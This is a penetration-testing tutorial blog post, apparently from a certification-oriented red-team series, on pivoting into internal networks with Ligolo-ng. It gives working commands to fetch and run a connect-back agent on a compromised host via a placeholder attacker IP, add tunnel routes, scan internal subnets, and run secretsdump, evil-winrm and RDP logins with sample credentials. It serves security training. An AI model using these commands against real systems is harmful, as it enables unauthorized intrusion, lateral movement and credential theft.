Ligolo-ng: Pivoting That Feels Like You're Already Inside
- Tony Kelly
- May 25
- 5 min read

Series: The Community's Red Team
Post: 16 of 17
Tags: ligolo-ng, pivoting, tunneling, network interface, proxychains, tools
Read time: ~10 min
Prerequisites: Post 15 — Chisel
Post 15 covered Chisel — excellent for simple tunneling when you need a SOCKS proxy. Ligolo-ng solves the same problem differently, and the difference matters: instead of routing your traffic through proxychains, Ligolo-ng creates an actual virtual network interface on your attack machine.
The result is that internal network hosts become directly reachable — not through proxychains, not through any wrapper. You add a route to the interface, and then nmap 172.16.5.10, ping 172.16.5.10, xfreerdp /v:172.16.5.10 all just work. Native. SYN scans work. UDP works. Every tool works exactly as if you were physically on the internal network.
This is why it's the preferred tool for CPTS and complex multi-hop engagements.
How It Works
Ligolo-ng has two components:
proxy — runs on your attack machine. Creates the TUN network interface. Listens for agent connections.
agent — runs on the pivot host. Connects back to the proxy and forwards traffic.
The architecture is the inverse of what you might expect: the agent initiates the connection to the proxy. This means the pivot host reaches out, which works even when your attack machine is behind NAT or a firewall.
Setup on Attack Machine
Download and extract both binaries:
wget -q https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.2/ligolo-ng_proxy_0.8.2_linux_amd64.tar.gz
wget -q https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.2/ligolo-ng_agent_0.8.2_linux_amd64.tar.gz
tar -xvzf ligolo-ng_proxy_0.8.2_linux_amd64.tar.gz
tar -xvzf ligolo-ng_agent_0.8.2_linux_amd64.tar.gz
Start the proxy:
sudo ./proxy -selfcert
-selfcert generates a self-signed certificate for the TLS tunnel. The proxy listens on port 11601 by default. Keep this terminal open — it's your Ligolo-ng control console.
Getting the Agent Onto the Pivot Host
Serve the agent from your attack machine:
# In a separate terminal
python3 -m http.server 8000
On the pivot host:
# Linux pivot
wget http://<your_attack_ip>:8000/agent
chmod +x agent
./agent -connect <your_attack_ip>:11601 --ignore-cert
# Windows pivot (PowerShell)
iwr http://<your_attack_ip>:8000/agent.exe -OutFile agent.exe
.\agent.exe -connect <your_attack_ip>:11601 --ignore-cert
--ignore-cert accepts the self-signed certificate. Once the agent connects, your proxy console shows the new session.
Creating the Tunnel
Back in your proxy console:
ligolo-ng »
Select the session:
ligolo-ng » session
? Specify a session: 1 - #1 - user@pivot-host - 10.129.x.x:xxxxx
Once the session is selected, use autoroute to set up the tunnel automatically:
[Agent: user@pivot-host] » autoroute
Autoroute discovers the network interfaces on the pivot host and presents them. Select the internal subnet you want to reach.
Ligolo-ng then:
Creates a ligolo TUN interface on your attack machine
Adds a route for the internal subnet through that interface
Starts forwarding traffic
Verify it worked:
ip route show
# Should show: 172.16.5.0/24 dev ligolo
Now test direct connectivity:
ping 172.16.5.10 # ICMP works — unlike SOCKS proxy
nmap -sV 172.16.5.10 # SYN scans work — unlike proxychains
Manual Route Setup (If Autoroute Isn't Available)
On older Ligolo-ng versions, create the interface and route manually:
# Create TUN interface
sudo ip tuntap add user <your_username> mode tun ligolo
sudo ip link set ligolo up
# After selecting the session and starting tunnel in console:
# [Agent] » start
# Add route to internal network
sudo ip route add 172.16.5.0/24 dev ligolo
Double Pivoting: Reaching a Third Network
If your first pivot can reach a second internal network, and that second network has a machine you need to reach, you can chain tunnels.
Step 1: Get a foothold on the second-hop machine through the first tunnel.
Step 2: Transfer the agent binary to the second-hop machine through the existing Ligolo tunnel.
Step 3: Execute the agent on the second-hop machine. It connects back to your proxy through the existing tunnel.
Step 4: In the proxy console, a new session appears. Select it, run autoroute, add the route for the third network.
sudo ip route add 172.16.6.0/24 dev ligolo
Each additional hop adds a new session in the console. You manage all of them from the same proxy instance.
Ligolo-ng vs Chisel vs SSH: When to Use What
Situation | Tool |
Full internal network access needed | Ligolo-ng |
Double pivoting / complex hops | Ligolo-ng |
Only HTTP outbound from pivot | Chisel or Ligolo-ng (both work over HTTP) |
No binary transfer possible, SSH access only | SSH dynamic port forward (-D 9050) |
Single port forward needed | Chisel or SSH local port forward (-L) |
Metasploit session active | Metasploit autoroute + SOCKS |
For CPTS specifically: Ligolo-ng is listed as the preferred tool in the methodology. Learn it well.
Keeping the Proxy Running
If you need to run other commands on your attack machine while Ligolo-ng is active, background the proxy console:
# The proxy terminal needs to stay open
# Use tmux or screen to run the proxy in a persistent session
tmux new-session -d -s ligolo './proxy -selfcert'
tmux attach -t ligolo
Or run in the background:
sudo ./proxy -selfcert &
Finding Internal Hosts After Tunnel Setup
Once the tunnel is up, discover what's on the internal network:
# Ping sweep (ICMP works through Ligolo-ng)
for i in {1..254}; do (ping -c 1 172.16.5.$i | grep "bytes from" &); done
# fping for speed
fping -a -g 172.16.5.0/24 2>/dev/null
# Nmap full subnet (SYN scan works — no proxychains needed)
nmap -sn 172.16.5.0/24 # host discovery
nmap -sV -p- 172.16.5.19 # full scan on discovered host
Quick Reference
# Setup — attack machine
sudo ./proxy -selfcert # start proxy, listen on :11601
# Setup — pivot host (Linux)
wget http://<attack_ip>:8000/agent && chmod +x agent
./agent -connect <attack_ip>:11601 --ignore-cert
# Setup — pivot host (Windows PowerShell)
iwr http://<attack_ip>:8000/agent.exe -OutFile agent.exe
.\agent.exe -connect <attack_ip>:11601 --ignore-cert
# In proxy console
session # select the session
autoroute # auto-detect and add routes (preferred)
# Manual route add
sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up
sudo ip route add 172.16.5.0/24 dev ligolo
# Verify
ip route show | grep ligolo
ping 172.16.5.1 # test connectivity
# Host discovery through tunnel
nmap -sn 172.16.5.0/24
for i in {1..254}; do (ping -c 1 172.16.5.$i | grep "bytes from" &); done
# No proxychains needed — direct tool access
nmap -sV 172.16.5.19
xfreerdp /v:172.16.5.19 /u:administrator /p:Password1
impacket-secretsdump domain/admin:pass@172.16.5.5
evil-winrm -i 172.16.5.20 -u administrator -p Password1
What's Next
Post 17 (Bloodhound) is the final post in the series — and the one that ties the Active Directory thread together. Everything you've built toward — credentials, lateral movement, Impacket, pivoting — feeds into Bloodhound's graph. Once you can see the full map of an AD environment's relationships and attack paths, the path from your current position to Domain Admin becomes a query result, not a guessing game.
MeshForge — Training the Community's Red Team
They count on your ignorance. The exploit only works on the uninformed.



Comments